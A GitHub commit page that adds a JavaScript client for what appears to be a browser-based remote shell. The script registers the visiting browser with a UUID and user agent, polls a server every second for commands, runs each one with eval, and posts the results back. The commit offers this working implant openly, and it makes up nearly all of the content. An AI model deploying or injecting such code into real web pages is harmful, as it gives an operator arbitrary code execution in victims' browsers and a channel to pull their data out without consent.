-
Notifications
You must be signed in to change notification settings - Fork 69
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #5 from Den1al/develop
added status column in shell, moved js from the html, added uglified version
- Loading branch information
Showing
5 changed files
with
122 additions
and
134 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
! function foo(config) { | ||
|
||
/* Eval Context */ | ||
this.context = {}; | ||
|
||
/* Logging functions */ | ||
this.log = function (text) { | ||
if (config["debug"]) { | ||
console.log("debug: ", text) | ||
} | ||
}; | ||
this.err = function (errText) { | ||
console.log("error: ", errText) | ||
}; | ||
|
||
/* get a unique identifier */ | ||
this.getUUID = function () { | ||
function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); } | ||
return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); | ||
}; | ||
|
||
/* register as a new client */ | ||
this.register = function () { | ||
var formData = { | ||
'uuid': getUUID(), | ||
'user_agent' : navigator.userAgent | ||
}; | ||
|
||
$.ajax({ | ||
url: "/register/", | ||
type: "POST", | ||
data: formData, | ||
success: function (data, textStatus, jqXHR) { | ||
log(data); | ||
}, | ||
error: function (jqXHR, textStatus, errorThrown) { | ||
err(textStatus); | ||
} | ||
}); | ||
|
||
this.id = formData['uuid']; | ||
}; | ||
|
||
/* fetch a new command from the command queue */ | ||
this.getCommand = function() { | ||
|
||
$.ajax({ | ||
url: "/get_command/" + this.id, | ||
type: "GET", | ||
dataType: 'json', | ||
context: this, | ||
success: function (data, textStatus, jqXHR) { | ||
if (!('error' in data ) && ('success' in data)) | ||
{ | ||
var cmd = data['success']; | ||
var cmd_id = data['cmd_id']; | ||
this.exec(cmd, cmd_id); | ||
} | ||
log(data); | ||
}, | ||
error: function (jqXHR, textStatus, errorThrown) { | ||
err(textStatus); | ||
} | ||
}) | ||
}; | ||
|
||
/* executes a command in the eval context */ | ||
this.exec = function(cmd, cmd_id) { | ||
try | ||
{ | ||
var out = eval.call(this.context, cmd); | ||
var js = JSON.prune(out); | ||
|
||
//var out = JSON.stringify(eval(cmd)); | ||
this.postBack({'output' : js, 'cmd_id' : cmd_id, 'uuid' : this.id}); | ||
} | ||
catch(err) | ||
{ | ||
this.postBack({'output' : err.message, 'cmd_id' : cmd_id, 'uuid' : this.id}); | ||
} | ||
}; | ||
|
||
/* when a command has finished executing, post it back to the server */ | ||
this.postBack = function(data) { | ||
|
||
$.ajax({ | ||
url: "/post_back/", | ||
type: "POST", | ||
data: data, | ||
success: function (data, textStatus, jqXHR) { | ||
log(data); | ||
}, | ||
error: function (jqXHR, textStatus, errorThrown) { | ||
err(errorThrown); | ||
} | ||
}); | ||
}; | ||
|
||
/* Main */ | ||
this.register(); | ||
setInterval(this.getCommand, 1000); | ||
|
||
}({ | ||
'debug' : true | ||
}); |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters